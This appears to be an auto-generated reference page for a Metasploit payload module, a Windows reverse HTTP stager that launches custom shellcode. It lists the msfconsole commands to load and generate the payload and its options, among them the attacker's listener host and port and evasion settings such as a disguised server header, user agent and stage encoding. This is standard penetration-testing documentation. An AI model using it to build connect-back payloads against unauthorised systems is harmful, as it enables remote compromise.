Windows shellcode stage, Reverse HTTP Stager Proxy - Metasploit


This page contains detailed information about how to use the payload/windows/custom/reverse_http_proxy_pstore metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows shellcode stage, Reverse HTTP Stager Proxy
Module: payload/windows/custom/reverse_http_proxy_pstore
Source code: modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Custom shellcode stage. Tunnel communication over HTTP

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use payload/windows/custom/reverse_http_proxy_pstore
msf payload(reverse_http_proxy_pstore) > show options
    ... show and set options ...
msf payload(reverse_http_proxy_pstore) > generate

To learn how to generate payload/windows/custom/reverse_http_proxy_pstore with msfvenom, please read this.

Required Options


  • LHOST: The local listener hostname

Go back to menu.

Msfconsole Usage


Here is how the windows/custom/reverse_http_proxy_pstore payload module looks in the msfconsole:

msf6 > use payload/windows/custom/reverse_http_proxy_pstore

msf6 payload(windows/custom/reverse_http_proxy_pstore) > show info

       Name: Windows shellcode stage, Reverse HTTP Stager Proxy
     Module: payload/windows/custom/reverse_http_proxy_pstore
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 650
       Rank: Normal

Provided by:
  bwatters-r7
  hdm <[email protected]>

Basic options:
Name            Current Setting  Required  Description
----            ---------------  --------  -----------
EXITFUNC        process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                            yes       The local listener hostname
LPORT           8080             yes       The local listener port
LURI                             no        The HTTP Path
SHELLCODE_FILE                   no        Shellcode bin to launch

Description:
  Custom shellcode stage. Tunnel communication over HTTP

Module Options


This is a complete list of options available in the windows/custom/reverse_http_proxy_pstore payload:

msf6 payload(windows/custom/reverse_http_proxy_pstore) > show options

Module options (payload/windows/custom/reverse_http_proxy_pstore):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   EXITFUNC        process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                            yes       The local listener hostname
   LPORT           8080             yes       The local listener port
   LURI                             no        The HTTP Path
   SHELLCODE_FILE                   no        Shellcode bin to launch

Advanced Options


Here is a complete list of advanced options supported by the windows/custom/reverse_http_proxy_pstore payload:

msf6 payload(windows/custom/reverse_http_proxy_pstore) > show advanced

Module advanced options (payload/windows/custom/reverse_http_proxy_pstore):

   Name                        Current Setting                       Required  Description
   ----                        ---------------                       --------  -----------
   EnableStageEncoding         false                                 no        Encode the second stage payload
   HttpServerName              Apache                                no        The server header that the handler will send in response to reques
                                                                               ts
   HttpUnknownRequestResponse  <html><body><h1>It works!</h1></body  no        The returned HTML response body when the handler receives a reques
                               ></html>                                        t that is not from a payload
   HttpUserAgent               Mozilla/5.0 (Macintosh; Intel Mac OS  no        The user-agent that the payload should use for communication Max p
                                X 12_2_1) AppleWebKit/537.36 (KHTML            arameter length: 255 characters
                               , like Gecko) Chrome/98.0.4758.81 Sa
                               fari/537.36
   IgnoreUnknownPayloads       false                                 no        Whether to drop connections from payloads using unknown UUIDs
   OverrideLHOST                                                     no        When OverrideRequestHost is set, use this value as the host name f
                                                                               or secondary requests
   OverrideLPORT                                                     no        When OverrideRequestHost is set, use this value as the port number
                                                                                for secondary requests
   OverrideRequestHost         false                                 no        Forces a specific host and port instead of using what the client r
                                                                               equests, defaults to LHOST:LPORT
   OverrideScheme                                                    no        When OverrideRequestHost is set, use this value as the scheme for
                                                                               secondary requests, e.g http or https
   PayloadUUIDName                                                   no        A human-friendly name to reference this unique payload (requires t
                                                                               racking)
   PayloadUUIDRaw                                                    no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                                                   no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false                                 yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                                     yes       How many additional successful pingbacks
   PingbackSleep               30                                    yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate              false                                 yes       Spawns and runs shellcode in new process
   PrependMigrateProc                                                no        Process to spawn and run shellcode in
   ReverseAllowProxy           false                                 yes       Allow reverse tcp even with Proxies specified. Connect back will N
                                                                               OT go through proxy but directly to LHOST
   ReverseListenerBindAddress                                        no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                                           no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                                               no        The specific communication channel to use for this listener
   StageEncoder                                                      no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                                         no        Additional registers to preserve in the staged payload if EnableSt
                                                                               ageEncoding is set
   StageEncodingFallback       true                                  no        Fallback to no encoding if the selected StageEncoder is not compat
                                                                               ible
   VERBOSE                     false                                 no        Enable detailed status messages
   WORKSPACE                                                         no        Specify the workspace for this module

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • bwatters-r7
  • hdm

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.